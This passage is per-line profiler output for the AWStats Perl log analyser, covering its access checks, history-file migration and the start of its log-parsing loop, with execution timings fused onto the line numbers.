582927.0e-63.5e-6if (! $FrameName) {
583012.0e-62.0e-6 if ($ENV{'GATEWAY_INTERFACE'} && $UseFramesWhenCGI && $HTMLOutput{'main'} && ! $PluginMode) { $FrameName='index'; }
5831 else { $FrameName='main'; }
5832}
5833
5834# Load Message files, Reference data files and Plugins
583511.0e-61.0e-6if ($Debug) { debug("FrameName=$FrameName",1); }
583644.8e-51.2e-5if ($FrameName ne 'index') {
5837 &Read_Language_Data($Lang);
# spent 26.0ms making 1 call to main::Read_Language_Data
583874.2e-56.0e-6 if ($FrameName ne 'mainleft') {
5839 my %datatoload=();
5840 my ($filedomains,$filemime,$filerobots,$fileworms,$filebrowser,$fileos,$filese)=('domains','mime','robots','worms','browsers','operating_systems','search_engines');
5841 my ($filestatushttp,$filestatussmtp)=('status_http','status_smtp');
5842 if ($LevelForBrowsersDetection eq 'allphones') { $filebrowser='browsers_phone'; }
584361.2e-52.0e-6 if ($UpdateStats) { # If update
5844 if ($LevelForFileTypesDetection<2) { $datatoload{$filemime}=1; } # Only if need to filter on known extensions
5845 if ($LevelForRobotsDetection) { $datatoload{$filerobots}=1; } # ua
5846 if ($LevelForWormsDetection) { $datatoload{$fileworms}=1; } # url
5847 if ($LevelForBrowsersDetection) { $datatoload{$filebrowser}=1; } # ua
5848 if ($LevelForOSDetection) { $datatoload{$fileos}=1; } # ua
5849 if ($LevelForRefererAnalyze) { $datatoload{$filese}=1; } # referer
5850 # if (...) { $datatoload{'referer_spam'}=1; }
5851 }
5852 if (scalar keys %HTMLOutput) { # If output
5853 if ($ShowDomainsStats || $ShowHostsStats) { $datatoload{$filedomains}=1; } # TODO Replace by test if ($ShowDomainsStats) when plugins geoip can force load of domains datafile.
5854 if ($ShowFileTypesStats) { $datatoload{$filemime}=1; }
5855 if ($ShowRobotsStats) { $datatoload{$filerobots}=1; }
5856 if ($ShowWormsStats) { $datatoload{$fileworms}=1; }
5857 if ($ShowBrowsersStats) { $datatoload{$filebrowser}=1; }
5858 if ($ShowOSStats) { $datatoload{$fileos}=1; }
5859 if ($ShowOriginStats) { $datatoload{$filese}=1; }
5860 if ($ShowHTTPErrorsStats) { $datatoload{$filestatushttp}=1; }
5861 if ($ShowSMTPErrorsStats) { $datatoload{$filestatussmtp}=1; }
5862 }
5863 &Read_Ref_Data(keys %datatoload);
# spent 55.0ms making 1 call to main::Read_Ref_Data
5864 }
5865 &Read_Plugins();
# spent 139ms making 1 call to main::Read_Plugins
5866}
5867# Here charset is defined, so we can send the http header (Need BuildReportFormat,PageCode)
586813.0e-63.0e-6if (! $HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'}) { http_head(); } # Run from a browser as CGI
5869
5870# Init other parameters
587111.0e-61.0e-6$NBOFLINESFORBENCHMARK--;
587211.0e-61.0e-6if ($ENV{'GATEWAY_INTERFACE'}) { $DirCgi=''; }
587326.0e-63.0e-6if ($DirCgi && !($DirCgi =~ /\/$/) && !($DirCgi =~ /\\$/)) { $DirCgi .= '/'; }
587412.0e-62.0e-6if (! $DirData || $DirData =~ /^\./) {
5875 if (! $DirData || $DirData eq '.') { $DirData="$DIR"; } # If not defined or chosen to '.' value then DirData is current dir
5876 elsif ($DIR && $DIR ne '.') { $DirData="$DIR/$DirData"; }
5877}
587811.0e-61.0e-6$DirData||='.'; # If current dir not defined then we put it to '.'
587917.0e-67.0e-6$DirData =~ s/[\\\/]+$//;
5880
588116.0e-66.0e-6if ($FirstDayOfWeek == 1) { @DOWIndex = (1,2,3,4,5,6,0); }
5882else { @DOWIndex = (0,1,2,3,4,5,6); }
5883
5884# Should we link to ourselves or to a wrapper script
588514.0e-64.0e-6$AWScript=($WrapperScript?"$WrapperScript":"$DirCgi$PROG.$Extension");
5886
5887# Print html header (Need HTMLOutput,Expires,Lang,StyleSheet,HTMLHeadSectionExpires defined by Read_Config, PageCode defined by Read_Language_Data)
588811.7e-51.7e-5if (! $HeaderHTMLSent) { &html_head; }
# spent 21µs making 1 call to main::html_head
5889
5890# AWStats output is replaced by a plugin output
589111.0e-61.0e-6if ($PluginMode) {
5892# my $function="BuildFullHTMLOutput_$PluginMode()";
5893# eval("$function");
5894 my $function="BuildFullHTMLOutput_$PluginMode";
5895 &$function();
5896 if ($? || $@) { error("$@"); }
5897 &html_end(0);
5898 exit 0;
5899}
5900
5901# Security check
590212.0e-62.0e-6if ($AllowAccessFromWebToAuthenticatedUsersOnly && $ENV{'GATEWAY_INTERFACE'}) {
5903 if ($Debug) { debug("REMOTE_USER=".$ENV{"REMOTE_USER"}); }
5904 if (! $ENV{"REMOTE_USER"}) {
5905 error("Access to statistics is only allowed from an authenticated session to authenticated users.");
5906 }
5907 if (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
5908 my $userisinlist=0;
5909 my $remoteuser=quotemeta($ENV{"REMOTE_USER"});
5910 $remoteuser =~ s/\s/%20/g; # Allow authenticated user with space in name to be compared to allowed user list
5911 my $currentuser=qr/^$remoteuser$/i; # Set precompiled regex
5912 foreach (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
5913 if (/$currentuser/o) { $userisinlist=1; last; }
5914 }
5915 if (! $userisinlist) {
5916 error("User '".$ENV{"REMOTE_USER"}."' is not allowed to access statistics of this domain/config.");
5917 }
5918 }
5919}
592011.0e-61.0e-6if ($AllowAccessFromWebToFollowingIPAddresses && $ENV{'GATEWAY_INTERFACE'})
5921{
5922 my $IPAddress=$ENV{"REMOTE_ADDR"}; # IPv4 or IPv6
5923 my $useripaddress=&Convert_IP_To_Decimal($IPAddress);
5924 my @allowaccessfromipaddresses = split (/[\s,]+/, $AllowAccessFromWebToFollowingIPAddresses);
5925 my $allowaccess = 0;
5926 foreach my $ipaddressrange (@allowaccessfromipaddresses)
5927 {
5928 if ($ipaddressrange !~ /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/
5929 && $ipaddressrange !~ /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/)
5930 {
5931 error("AllowAccessFromWebToFollowingIPAddresses is defined to '$AllowAccessFromWebToFollowingIPAddresses' but part of value does not match the correct syntax: IPv4AddressMin[-IPv4AddressMax] or IPv6Address[\/prefix] in \"$ipaddressrange\"");
5932 }
5933
5934 # Test ip v4
5935 if ($ipaddressrange =~ /^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/)
5936 {
5937 my $ipmin=&Convert_IP_To_Decimal($1);
5938 my $ipmax=$2?&Convert_IP_To_Decimal($2):$ipmin;
5939 # Is it an authorized ip ?
5940 if (($useripaddress >= $ipmin) && ($useripaddress <= $ipmax)) {
5941 $allowaccess = 1;
5942 last;
5943 }
5944 }
5945
5946 # Test ip v6
5947 if ($ipaddressrange =~ /^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/)
5948 {
5949 if ($ipaddressrange =~ /::\//) {
5950 my @IPv6split = split (/::/, $ipaddressrange);
5951 if ($IPAddress =~ /^$IPv6split[0]/) {
5952 $allowaccess = 1;
5953 last;
5954 }
5955 } elsif ($ipaddressrange == $IPAddress) {
5956 $allowaccess = 1;
5957 last;
5958 }
5959 }
5960 }
5961 if (! $allowaccess) {
5962 error("Access to statistics is not allowed from your IP Address ".$ENV{"REMOTE_ADDR"});
5963 }
5964}
596512.0e-62.0e-6if (($UpdateStats || $MigrateStats) && (! $AllowToUpdateStatsFromBrowser) && $ENV{'GATEWAY_INTERFACE'}) {
5966 error("".($UpdateStats?"Update":"Migrate")." of statistics has not been allowed from a browser (AllowToUpdateStatsFromBrowser should be set to 1).");
5967}
596811.0e-61.0e-6if (scalar keys %HTMLOutput && $MonthRequired eq 'all') {
5969 if (! $AllowFullYearView) { error("Full year view has not been allowed (AllowFullYearView is set to 0)."); }
5970 if ($AllowFullYearView < 3 && $ENV{'GATEWAY_INTERFACE'}) { error("Full year view has not been allowed from a browser (AllowFullYearView should be set to 3)."); }
5971}
5972
5973
5974#------------------------------------------
5975# MIGRATE PROCESS (Must be after reading config cause we need MaxNbOf... and Min...)
5976#------------------------------------------
597712.0e-62.0e-6if ($MigrateStats) {
5978 if ($Debug) { debug("MigrateStats is $MigrateStats",2); }
5979 if ($MigrateStats !~ /^(.*)$PROG(\d\d)(\d\d\d\d)(\d{0,2})(\d{0,2})(.*)\.txt$/) {
5980 error("AWStats history file name must match following syntax: ${PROG}MMYYYY[.config].txt","","",1);
5981 }
5982 $DirData="$1";
5983 $MonthRequired="$2";
5984 $YearRequired="$3";
5985 $DayRequired="$4";
5986 $HourRequired="$5";
5987 $FileSuffix="$6";
5988 # Correct DirData
5989 if (! $DirData || $DirData =~ /^\./) {
5990 if (! $DirData || $DirData eq '.') { $DirData="$DIR"; } # If not defined or chosen to '.' value then DirData is current dir
5991 elsif ($DIR && $DIR ne '.') { $DirData="$DIR/$DirData"; }
5992 }
5993 $DirData||='.'; # If current dir not defined then we put it to '.'
5994 $DirData =~ s/[\\\/]+$//;
5995 print "Start migration for file '$MigrateStats'."; print $ENV{'GATEWAY_INTERFACE'}?"<br />\n":"\n";
5996 if ($EnableLockForUpdate) { &Lock_Update(1); }
5997 my $newhistory=&Read_History_With_TmpUpdate($YearRequired,$MonthRequired,$DayRequired,$HourRequired,1,0,'all');
5998 if (rename("$newhistory","$MigrateStats")==0) {
5999 unlink "$newhistory";
6000 error("Failed to rename \"$newhistory\" into \"$MigrateStats\".\nWrite permissions on \"$MigrateStats\" might be wrong".($ENV{'GATEWAY_INTERFACE'}?" for a 'migration from web'":"")." or file might be opened.");
6001 }
6002 if ($EnableLockForUpdate) { &Lock_Update(0); }
6003 print "Migration for file '$MigrateStats' successful."; print $ENV{'GATEWAY_INTERFACE'}?"<br />\n":"\n";
6004 &html_end(1);
6005 exit 0;
6006}
6007
6008# Output main frame page and exit. This must be after the security check.
600912.0e-62.0e-6if ($FrameName eq 'index') {
6010 # Define the NewLinkParams for main chart
6011 my $NewLinkParams=${QueryString};
6012 $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
6013 $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
6014 $NewLinkParams =~ s/^&amp;//; $NewLinkParams =~ s/&amp;$//;
6015 if ($NewLinkParams) { $NewLinkParams="${NewLinkParams}&amp;"; }
6016 # Exit if main frame
6017 print "<frameset cols=\"$FRAMEWIDTH,*\">\n";
6018 print "<frame name=\"mainleft\" src=\"".XMLEncode("$AWScript?${NewLinkParams}framename=mainleft")."\" noresize=\"noresize\" frameborder=\"0\" />\n";
6019 print "<frame name=\"mainright\" src=\"".XMLEncode("$AWScript?${NewLinkParams}framename=mainright")."\" noresize=\"noresize\" scrolling=\"yes\" frameborder=\"0\" />\n";
6020 print "<noframes><body>";
6021 print "Your browser does not support frames.<br />\n";
6022 print "You must set AWStats UseFramesWhenCGI parameter to 0\n";
6023 print "to see your reports.<br />\n";
6024 print "</body></noframes>\n";
6025 print "</frameset>\n";
6026 &html_end(0);
6027 exit 0;
6028}
6029
603012.7e-52.7e-5%MonthNumLib = ("01","$Message[60]","02","$Message[61]","03","$Message[62]","04","$Message[63]","05","$Message[64]","06","$Message[65]","07","$Message[66]","08","$Message[67]","09","$Message[68]","10","$Message[69]","11","$Message[70]","12","$Message[71]");
6031
6032# Build ListOfYears list with all existing years
603313.0e-63.0e-6($lastyearbeforeupdate,$lastmonthbeforeupdate,$lastdaybeforeupdate,$lasthourbeforeupdate,$lastdatebeforeupdate)=(0,0,0,0,0);
603411.0e-61.0e-6my $datemask='';
603512.0e-62.0e-6if ($DatabaseBreak eq 'month') { $datemask='(\d\d)(\d\d\d\d)'; }
6036elsif ($DatabaseBreak eq 'year') { $datemask='(\d\d\d\d)'; }
6037elsif ($DatabaseBreak eq 'day') { $datemask='(\d\d)(\d\d\d\d)(\d\d)'; }
6038elsif ($DatabaseBreak eq 'hour') { $datemask='(\d\d)(\d\d\d\d)(\d\d)(\d\d)'; }
603911.0e-61.0e-6if ($Debug) { debug("Scan for last history files into DirData='$DirData' with mask='$datemask'"); }
604015.6e-55.6e-5opendir(DIR,"$DirData");
604113.0e-63.0e-6my $regfilesuffix=quotemeta($FileSuffix);
604219.8e-59.8e-5foreach (grep /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i, file_filt sort readdir DIR) {
# spent 36µs making 1 call to main::file_filt
6043 /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i;
6044 if (! $ListOfYears{"$2"} || "$1" gt $ListOfYears{"$2"}) {
6045 # ListOfYears contains max month found
6046 $ListOfYears{"$2"}="$1";
6047 }
6048 my $rangestring=($2||"").($1||"").($3||"").($4||"");
6049 if ($rangestring gt $lastdatebeforeupdate) {
6050 # We are on a new max for mask
6051 $lastyearbeforeupdate=($2||"");
6052 $lastmonthbeforeupdate=($1||"");
6053 $lastdaybeforeupdate=($3||"");
6054 $lasthourbeforeupdate=($4||"");
6055 $lastdatebeforeupdate=$rangestring;
6056 }
6057}
605812.0e-62.0e-6close DIR;
6059
6060# If at least one file found, get value for LastLine
606111.0e-61.0e-6if ($lastyearbeforeupdate) {
6062 # Read 'general' section of last history file for LastLine
6063 &Read_History_With_TmpUpdate($lastyearbeforeupdate,$lastmonthbeforeupdate,$lastdaybeforeupdate,$lasthourbeforeupdate,0,0,"general");
6064}
6065# Warning if lastline in future
606613.0e-63.0e-6if ($LastLine > ($nowtime + 20000))
6067{
6068 warning("WARNING: LastLine parameter in history file is '$LastLine' so in future. May be you need to correct manually the line LastLine in some awstats*.$SiteConfig.conf files.");
6069}
6070# Force LastLine
607111.0e-61.0e-6if ($QueryString =~ /lastline=(\d{14})/i)
6072{
6073 $LastLine=$1;
6074}
607511.0e-61.0e-6if ($Debug) {
6076 debug("Last year=$lastyearbeforeupdate - Last month=$lastmonthbeforeupdate");
6077 debug("Last day=$lastdaybeforeupdate - Last hour=$lasthourbeforeupdate");
6078 debug("LastLine=$LastLine");
6079 debug("LastLineNumber=$LastLineNumber");
6080 debug("LastLineOffset=$LastLineOffset");
6081 debug("LastLineChecksum=$LastLineChecksum");
6082}
6083
6084
6085
6086# Init vars
608711.3e-51.3e-5&Init_HashArray();
# spent 291µs making 1 call to main::Init_HashArray
6088
6089
6090#------------------------------------------
6091# UPDATE PROCESS
6092#------------------------------------------
609334.0e-61.3e-6my $lastlinenb=0; my $lastlineoffset=0; my $lastlineoffsetnext=0;
6094
609511.0e-61.0e-6if ($Debug) { debug("UpdateStats is $UpdateStats",2); }
60961000.007607.6e-5if ($UpdateStats && $FrameName ne 'index' && $FrameName ne 'mainleft') { # Update only on index page or when not framed to avoid update twice
6097
6098 my %MonthNum = ("Jan","01","jan","01","Feb","02","feb","02","Mar","03","mar","03","Apr","04","apr","04","May","05","may","05","Jun","06","jun","06","Jul","07","jul","07","Aug","08","aug","08","Sep","09","sep","09","Oct","10","oct","10","Nov","11","nov","11","Dec","12","dec","12"); # MonthNum must be in english because used to translate log date in apache log files
6099
610020.000580.00029 if (! scalar keys %HTMLOutput) {
6101 print "Create/Update database for config \"$FileConfig\" by AWStats version $VERSION\n";
6102 print "From data in log file \"$LogFile\"...\n";
6103 }
6104
6105 my $lastprocessedyear=$lastyearbeforeupdate||0;
6106 my $lastprocessedmonth=$lastmonthbeforeupdate||0;
6107 my $lastprocessedday=$lastdaybeforeupdate||0;
6108 my $lastprocessedhour=$lasthourbeforeupdate||0;
6109 my $lastprocesseddate='';
6110 if ($DatabaseBreak eq 'month') { $lastprocesseddate=sprintf("%04i%02i",$lastprocessedyear,$lastprocessedmonth); }
6111 elsif ($DatabaseBreak eq 'year') { $lastprocesseddate=sprintf("%04i%",$lastprocessedyear); }
6112 elsif ($DatabaseBreak eq 'day') { $lastprocesseddate=sprintf("%04i%02i%02i",$lastprocessedyear,$lastprocessedmonth,$lastprocessedday); }
6113 elsif ($DatabaseBreak eq 'hour') { $lastprocesseddate=sprintf("%04i%02i%02i%02i",$lastprocessedyear,$lastprocessedmonth,$lastprocessedday,$lastprocessedhour); }
6114
6115
6116 my @list;
6117 # Init RobotsSearchIDOrder required for update process
6118 @list=();
611921.0e-55.0e-6 if ($LevelForRobotsDetection >= 1) {
612021.6e-58.0e-6 foreach (1..$LevelForRobotsDetection) { push @list,"list$_"; }
6121 push @list,"listgen"; # Always added
6122 }
6123 foreach my $key (@list) {
612460.000325.3e-5 push @RobotsSearchIDOrder,@{"RobotsSearchIDOrder_$key"};
6125 if ($Debug) { debug("Add ".@{"RobotsSearchIDOrder_$key"}." elements from RobotsSearchIDOrder_$key into RobotsSearchIDOrder",2); }
6126 }
6127 if ($Debug) { debug("RobotsSearchIDOrder has now ".@RobotsSearchIDOrder." elements",1); }
6128 # Init SearchEnginesIDOrder required for update process
6129 @list=();
613027.0e-63.5e-6 if ($LevelForSearchEnginesDetection >= 1) {
613128.0e-64.0e-6 foreach (1..$LevelForSearchEnginesDetection) { push @list,"list$_"; }
6132 push @list,"listgen"; # Always added
6133 }
6134 foreach my $key (@list) {
613569.4e-51.6e-5 push @SearchEnginesSearchIDOrder,@{"SearchEnginesSearchIDOrder_$key"};
6136 if ($Debug) { debug("Add ".@{"SearchEnginesSearchIDOrder_$key"}." elements from SearchEnginesSearchIDOrder_$key into SearchEnginesSearchIDOrder",2); }
6137 }
6138 if ($Debug) { debug("SearchEnginesSearchIDOrder has now ".@SearchEnginesSearchIDOrder." elements",1); }
6139
6140 # Complete HostAliases array
6141 my $sitetoanalyze=quotemeta(lc($SiteDomain));
614212.4e-52.4e-5 if (! @HostAliases) {
6143 warning("Warning: HostAliases parameter is not defined, $PROG choose \"$SiteDomain localhost 127.0.0.1\".");
6144 push @HostAliases,qr/^$sitetoanalyze$/i; push @HostAliases,qr/^localhost$/i; push @HostAliases,qr/^127\.0\.0\.1$/i;
6145 }
6146 else { unshift @HostAliases,qr/^$sitetoanalyze$/i; } # Add SiteDomain as first value
6147
6148 # Optimize arrays
6149 @HostAliases=&OptimizeArray(\@HostAliases,1); if ($Debug) { debug("HostAliases precompiled regex list is now @HostAliases",1); }
# spent 227µs making 1 call to main::OptimizeArray
6150 @SkipDNSLookupFor=&OptimizeArray(\@SkipDNSLookupFor,1); if ($Debug) { debug("SkipDNSLookupFor precompiled regex list is now @SkipDNSLookupFor",1); }
# spent 19µs making 1 call to main::OptimizeArray
6151 @SkipHosts=&OptimizeArray(\@SkipHosts,1); if ($Debug) { debug("SkipHosts precompiled regex list is now @SkipHosts",1); }
# spent 20µs making 1 call to main::OptimizeArray
6152 @SkipReferrers=&OptimizeArray(\@SkipReferrers,1); if ($Debug) { debug("SkipReferrers precompiled regex list is now @SkipReferrers",1); }
# spent 17µs making 1 call to main::OptimizeArray
6153 @SkipUserAgents=&OptimizeArray(\@SkipUserAgents,1); if ($Debug) { debug("SkipUserAgents precompiled regex list is now @SkipUserAgents",1); }
# spent 19µs making 1 call to main::OptimizeArray
6154 @SkipFiles=&OptimizeArray(\@SkipFiles,$URLNotCaseSensitive); if ($Debug) { debug("SkipFiles precompiled regex list is now @SkipFiles",1); }
# spent 19µs making 1 call to main::OptimizeArray
6155 @OnlyHosts=&OptimizeArray(\@OnlyHosts,1); if ($Debug) { debug("OnlyHosts precompiled regex list is now @OnlyHosts",1); }
# spent 18µs making 1 call to main::OptimizeArray
6156 @OnlyUserAgents=&OptimizeArray(\@OnlyUserAgents,1); if ($Debug) { debug("OnlyUserAgents precompiled regex list is now @OnlyUserAgents",1); }
# spent 18µs making 1 call to main::OptimizeArray
6157 @OnlyFiles=&OptimizeArray(\@OnlyFiles,$URLNotCaseSensitive); if ($Debug) { debug("OnlyFiles precompiled regex list is now @OnlyFiles",1); }
# spent 63µs making 1 call to main::OptimizeArray
6158 @NotPageFiles=&OptimizeArray(\@NotPageFiles,$URLNotCaseSensitive); if ($Debug) { debug("NotPageFiles precompiled regex list is now @NotPageFiles",1); }
# spent 17µs making 1 call to main::OptimizeArray
6159 # Precompile the regex search strings with qr
61606160.003615.9e-6 @RobotsSearchIDOrder=map{qr/$_/i} @RobotsSearchIDOrder;
6161 @WormsSearchIDOrder=map{qr/$_/i} @WormsSearchIDOrder;
61621640.000955.8e-6 @BrowsersSearchIDOrder=map{qr/$_/i} @BrowsersSearchIDOrder;
6163650.000477.3e-6 @OSSearchIDOrder=map{qr/$_/i} @OSSearchIDOrder;
61642330.001416.1e-6 @SearchEnginesSearchIDOrder=map{qr/$_/i} @SearchEnginesSearchIDOrder;
6165 my $miscquoted=quotemeta("$MiscTrackerUrl");
6166 my $defquoted=quotemeta("/$DefaultFile[0]");
6167 my $sitewithoutwww=lc($SiteDomain); $sitewithoutwww =~ s/www\.//; $sitewithoutwww=quotemeta($sitewithoutwww);
6168 # Define precompiled regex
6169 my $regmisc=qr/^$miscquoted/;
6170 my $regfavico=qr/\/favicon\.ico$/i;
6171 my $regrobot=qr/^\/robots\.txt$/i;
6172 my $regtruncanchor=qr/#(\w*)$/;
6173 my $regtruncurl=qr/([$URLQuerySeparators])(.*)$/;
6174 my $regext=qr/\.(\w{1,6})$/;
6175 my $regdefault;
617611.0e-51.0e-5 if ($URLNotCaseSensitive) { $regdefault=qr/$defquoted$/i; }
6177 else { $regdefault=qr/$defquoted$/; }
6178 my $regipv4=qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
6179 my $regipv6=qr/^[0-9A-F]*:/i;
6180 my $regvermsie=qr/msie([+_ ]|)([\d\.]*)/i;
6181 my $regvernetscape=qr/netscape.?\/([\d\.]*)/i;
6182 my $regverfirefox=qr/firefox\/([\d\.]*)/i;
6183 my $regversvn=qr/svn\/([\d\.]*)/i;
6184 my $regvermozilla=qr/mozilla(\/|)([\d\.]*)/i;
6185 my $regnotie=qr/webtv|omniweb|opera/i;
6186 my $regnotnetscape=qr/gecko|compatible|opera|galeon|safari/i;
6187 my $regreferer=qr/^(\w+):\/\/([^\/:]+)(:\d+|)/;
6188 my $regreferernoquery=qr/^([^$URLQuerySeparators]+)/;
6189 my $reglocal=qr/^(www\.|)$sitewithoutwww/i;
6190 my $regget=qr/get|out/i;
6191 my $regsent=qr/sent|put|in/i;
6192
6193 # Define value of $pos_xxx, @fieldlib, $PerlParsingFormat
6194 &DefinePerlParsingFormat($LogFormat);
# spent 132µs making 1 call to main::DefinePerlParsingFormat
6195
6196 # Load DNS Cache Files
6197 #------------------------------------------
6198 if ($DNSLookup) {
6199 &Read_DNS_Cache(\%MyDNSTable,"$DNSStaticCacheFile","",1); # Load with save into a second plugin file if plugin enabled and second file not up to date. No use of FileSuffix
6200 if ($DNSLookup == 1) { # System DNS lookup required
6201 #if (! eval("use Socket;")) { error("Failed to load perl module Socket."); }
6202 #use Socket;
6203 &Read_DNS_Cache(\%TmpDNSLookup,"$DNSLastUpdateCacheFile","$FileSuffix",0); # Load with no save into a second plugin file. Use FileSuffix
6204 }
6205 }
6206
6207 # Processing log
6208 #------------------------------------------
6209
621025.6e-52.8e-5 if ($EnableLockForUpdate) {
6211 # Trap signals to remove lock
6212 $SIG{INT} = \&SigHandler; # 2
6213 #$SIG{KILL} = \&SigHandler; # 9
6214 #$SIG{TERM} = \&SigHandler; # 15
6215 # Set AWStats update lock
6216 &Lock_Update(1);
# spent 65.9ms making 1 call to main::Lock_Update
6217 }
6218
6219 if ($Debug) { debug("Start Update process (lastprocesseddate=$lastprocesseddate)"); }
6220
6221 # Open log file
6222 if ($Debug) { debug("Open log file \"$LogFile\""); }
6223 open(LOG,"$LogFile") || error("Couldn't open server log file \"$LogFile\" : $!");
6224 binmode LOG; # Avoid premature EOF due to log files corrupted with \cZ or bin chars
6225
6226 # Define local variables for loop scan
6227 my @field=();
6228 my $counterforflushtest=0;
6229 my $qualifdrop='';
6230 my $countedtraffic=0;
6231 # Reset chrono for benchmark (first call to GetDelaySinceStart)
6232 &GetDelaySinceStart(1);
# spent 47µs making 1 call to main::GetDelaySinceStart
6233 if (! scalar keys %HTMLOutput) { print "Phase 1 : First bypass old records, searching new record...\n"; }
6234
6235 # Can we try a direct seek access in log ?
6236 my $line;
623740.000143.6e-5 if ($LastLine && $LastLineNumber && $LastLineOffset && $LastLineChecksum)
6238 {
6239 # Try a direct seek access to save time
6240 if ($Debug) { debug("Try a direct access to LastLine=$LastLine, LastLineNumber=$LastLineNumber, LastLineOffset=$LastLineOffset, LastLineChecksum=$LastLineChecksum"); }
6241 seek(LOG,$LastLineOffset,0);
6242 if ($line=<LOG>) {
6243 chomp $line; $line =~ s/\r$//;
6244 @field=map(/$PerlParsingFormat/,$line);
6245 if ($Debug) {
6246 my $string='';
6247 foreach (0..@field-1) { $string.="$fieldlib[$_]=$field[$_] "; }
6248 if ($Debug) { debug(" Read line after direct access: $string",1); }
6249 }
6250 my $checksum=&CheckSum($line);
6251 if ($Debug) { debug(" LastLineChecksum=$LastLineChecksum, Read line checksum=$checksum",1); }
6252 if ($checksum == $LastLineChecksum ) {
6253 if (! scalar keys %HTMLOutput) { print "Direct access after last parsed record (after line $LastLineNumber)\n"; }
6254 $lastlinenb=$LastLineNumber;
6255 $lastlineoffset=$LastLineOffset;
6256 $lastlineoffsetnext=tell LOG;
6257 $NewLinePhase=1;
6258 }
6259 else {
6260 if (! scalar keys %HTMLOutput) { print "Direct access to last remembered record has fallen on another record.\nSo searching new records from beginning of log file...\n"; }
6261 $lastlinenb=0;
6262 $lastlineoffset=0;
6263 $lastlineoffsetnext=0;
6264 seek(LOG,0,0);
6265 }
6266 }
6267 else {
6268 if (! scalar keys %HTMLOutput) { print "Direct access to last remembered record is out of file.\nSo searching it from beginning of log file...\n"; }
6269 $lastlinenb=0;
6270 $lastlineoffset=0;
6271 $lastlineoffsetnext=0;
6272 seek(LOG,0,0);
6273 }
6274 }
6275 else {
6276 # No try of direct seek access
6277 if (! scalar keys %HTMLOutput) { print "Searching new records from beginning of log file...\n"; }
6278 $lastlinenb=0;
6279 $lastlineoffset=0;
6280 $lastlineoffsetnext=0;
6281 }
6282
6283 #
6284 # Loop on each log line
6285 #
6286 while ($line=<LOG>) {
628762851514179.861502.9e-6 chomp $line; $line =~ s/\r$//;
6288 if ($UpdateFor && $NbOfLinesParsed >= $UpdateFor) { last; }
6289 $NbOfLinesParsed++;
6290
6291 $lastlineoffset=$lastlineoffsetnext; $lastlineoffsetnext=tell LOG;
6292
6293 if ($ShowSteps) {
6294 if ((++$NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK) == 0) {
6295 my $delay=&GetDelaySinceStart(0);
6296 print "$NbOfLinesParsed lines processed (".($delay>0?$delay:1000)." ms, ".int(1000*$NbOfLinesShowsteps/($delay>0?$delay:1000))." lines/second)\n";
6297 }
6298 }
6299
6300 if ($LogFormat eq '2' && $line =~ /^#Fields:/) {
6301 my @fixField=map(/^#Fields: (.*)/, $line);
6302 if ($fixField[0] !~ /s-kernel-time/) {
6303 debug("Found new log format: '". $fixField[0] ."'",1);
6304 &DefinePerlParsingFormat($fixField[0]);
6305 }
6306 }
6307
6308 # Parse line record to get all required fields
6309303.3e-51.1e-6 if (! (@field=map(/$PerlParsingFormat/,$line))) {
6310 $NbOfLinesCorrupted++;
6311 if ($ShowCorrupted) {
6312 if ($line =~ /^#/ || $line =~ /^!/) { print "Corrupted record line ".($lastlinenb+$NbOfLinesParsed)." (comment line): $line\n"; }
6313 elsif ($line =~ /^\s*$/) { print "Corrupted record line ".($lastlinenb+$NbOfLinesParsed)." (blank line)\n"; }
6314 else { print "Corrupted record line ".($lastlinenb+$NbOfLinesParsed)." (record format does not match LogFormat parameter): $line\n"; }
6315 }
6316 if ($NbOfLinesParsed >= $NbOfLinesForCorruptedLog && $NbOfLinesParsed == $NbOfLinesCorrupted) { error("Format error",$line,$LogFile); } # Exit with format error
6317 if ($line =~ /^__end_of_file__/i) { last; } # For test purpose only
6318 next;
6319 }
6320
6321 if ($Debug) {
6322 my $string='';
6323 foreach (0..@field-1) { $string.="$fieldlib[$_]=$field[$_] "; }
6324 if ($Debug) { debug(" Correct format line ".($lastlinenb+$NbOfLinesParsed).": $string",4); }
6325 }
6326
6327 # Drop wrong virtual host name
6328 #----------------------------------------------------------------------
6329 if ($pos_vh>=0 && $field[$pos_vh] !~ /^$SiteDomain$/i) {
6330 my $skip=1;
6331 foreach (@HostAliases) {
6332 if ($field[$pos_vh] =~ /$_/) { $skip=0; last; }
6333 }
6334 if ($skip) {
6335 $NbOfLinesDropped++;
6336 if ($ShowDropped) { print "Dropped record (virtual hostname '$field[$pos_vh]' does not match SiteDomain='$SiteDomain' nor HostAliases parameters): $line\n"; }
6337 next;
6338 }
6339 }
6340
6341 # Drop wrong method/protocol
6342 #---------------------------
634317957563.607512.0e-6 if ($LogType ne 'M') { $field[$pos_url] =~ s/\s/%20/g; }
6344 if ($LogType eq 'W'
6345 && ($field[$pos_method] eq 'GET'
6346 || $field[$pos_method] eq 'POST'
6347 || $field[$pos_method] eq 'HEAD'
6348 || $field[$pos_method] eq 'PROPFIND'
6349 || $field[$pos_method] eq 'CHECKOUT'
6350 || $field[$pos_method] eq 'LOCK'
6351 || $field[$pos_method] eq 'PROPPATCH'
6352 || $field[$pos_method] eq 'OPTIONS'
6353 || $field[$pos_method] eq 'MKACTIVITY'
6354 || $field[$pos_method] eq 'PUT'
6355 || $field[$pos_method] eq 'MERGE'
6356 || $field[$pos_method] eq 'DELETE'
6357 || $field[$pos_method] eq 'REPORT'
6358 || $field[$pos_method] eq 'MKCOL'
6359 || $field[$pos_method] eq 'COPY'
6360 || $field[$pos_method] =~ /OK/i
6361 || $field[$pos_method] =~ /ERR\!/i)) {
6362 # HTTP request. Keep only GET, POST, HEAD, *OK* and ERR! for Webstar. Do not keep OPTIONS, TRACE
6363 }
